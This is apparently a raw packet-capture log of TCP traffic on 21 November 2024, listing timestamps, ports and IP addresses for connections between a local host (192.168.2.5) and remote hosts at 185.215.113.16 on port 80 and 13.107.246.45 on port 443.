Nov 21, 2024 14:26:35.507309914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.507374048 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.507899046 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.508001089 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.508284092 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.508816957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.508826017 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.508887053 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.541755915 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.541960955 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.542068005 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.542100906 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.542270899 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.542373896 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.542452097 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.543143988 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.543225050 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.543260098 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.544035912 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.544091940 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.544101954 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.544856071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.544903994 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.545042038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.545769930 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.545862913 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.545917034 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.546610117 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.546672106 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.546892881 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.547419071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.547462940 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.547527075 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.548270941 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.548322916 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.548408031 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.549132109 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.549196959 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.549240112 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.550007105 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.550061941 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.550098896 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.550847054 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.550942898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.550990105 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.551803112 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.551855087 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.551872969 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.552552938 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.552596092 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.552665949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.553450108 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.553488016 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.553556919 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.554344893 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.554390907 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.554426908 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.555133104 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.555186033 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.555269957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.556027889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.556090117 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.556359053 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.556879997 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.556930065 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.557010889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.557729959 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.557801962 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.557928085 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.558588028 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.558633089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.558690071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.559407949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.559473991 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.559576035 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.560276985 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.560340881 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.560445070 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.561136961 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.561167002 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.561203957 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.562028885 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.562083006 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.562083006 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.562855005 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.562896013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.562908888 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.563692093 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.563838005 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.563848972 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.564569950 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.564635038 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.564666986 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.565592051 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.565648079 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.565718889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.566261053 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.566313028 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.566325903 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.567126036 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.567193031 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.567259073 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.567981005 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.568030119 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.568032026 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.568830013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.568895102 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.568931103 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.569732904 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.569745064 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.569787979 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.570602894 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.570668936 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.570693970 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.571410894 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.571542025 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.571589947 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.572412968 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.572484016 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.572506905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.573115110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.573159933 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.573250055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.574027061 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.574069977 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.574078083 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.574830055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.574875116 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.574959040 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.575670004 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.575715065 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.575752020 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.576651096 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.576695919 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.576781034 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.577419996 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.577434063 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.577481985 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.578258038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.578340054 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.578407049 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.579102993 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.579153061 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.579190969 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.579951048 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.580015898 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.580040932 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.580823898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.580887079 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.581017017 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.581680059 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.581752062 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.582012892 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.582567930 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.582612991 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.582624912 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.583374977 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.583425045 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.583455086 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.625761032 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.656541109 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.657496929 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:35.657516956 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.657944918 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:35.657951117 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.708758116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.708889008 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.708976984 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.709049940 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.709062099 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.709105015 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.709862947 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.710057020 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.710103989 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.710670948 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.710788965 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.710841894 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.744028091 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.744123936 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.744168043 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.744266033 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.744437933 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.745310068 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.745328903 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.745359898 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.745388031 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.746202946 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.746357918 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.746402025 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.746993065 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.747148991 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.747195005 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.747805119 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.747951984 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.748697996 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.748708010 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.748752117 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.748778105 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.749541044 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.749552011 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.749594927 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.750334978 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.750505924 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.750555038 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.751358032 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.751369953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.751409054 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.752012968 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.752293110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.752340078 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.753120899 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.753132105 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.753176928 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.753989935 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.753999949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.754059076 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.754703999 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.754870892 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.754914999 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.755486012 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.755799055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.756525993 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.756575108 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.756700993 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.757167101 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.757208109 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.757323980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.757361889 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.758122921 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.758133888 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.758177996 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.758994102 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.759005070 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.759048939 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.759816885 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.759958029 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.760684013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.760694981 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.760731936 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.760760069 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.761723995 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.761862993 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.761905909 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.762489080 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.762635946 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.762679100 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.763281107 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.763432980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.763582945 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.764051914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.764198065 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.764916897 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.764964104 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.765052080 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.765739918 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.765904903 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.766062021 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.766113997 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.766629934 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.766781092 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.766833067 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.767657995 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.767852068 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.767903090 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.768475056 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.768486023 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.768526077 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.769424915 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.769437075 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.769504070 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.770209074 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.770356894 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.770431995 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.771106958 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.771119118 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.771169901 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.771985054 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.772002935 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.772058010 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.772891045 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.772902966 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.772953987 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.773529053 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.773540020 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.773585081 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.774333954 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.774513960 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.774605989 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.775162935 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.775362015 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.775419950 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.776108027 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.776120901 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.776175976 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.776572943 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.776586056 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.776637077 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.777096987 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.777163029 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.777251959 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.778950930 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.779875994 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.779946089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.780714035 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.780998945 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.781157970 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.781172037 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.781220913 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.781243086 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.781306982 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.781320095 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.781373978 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.782071114 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.782213926 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.782334089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.782969952 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.782987118 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.783062935 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.783880949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.784027100 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.784650087 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.784661055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.784715891 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.785557032 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.785568953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.785624027 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.909564972 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.909627914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.909730911 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.909921885 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.910037994 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.910125971 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.910826921 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.910862923 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.910862923 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.910927057 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:35.911678076 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:35.911797047 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:35.911873102 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:35.912266016 CET	49741	443	192.168.2.5	13.107.246.45
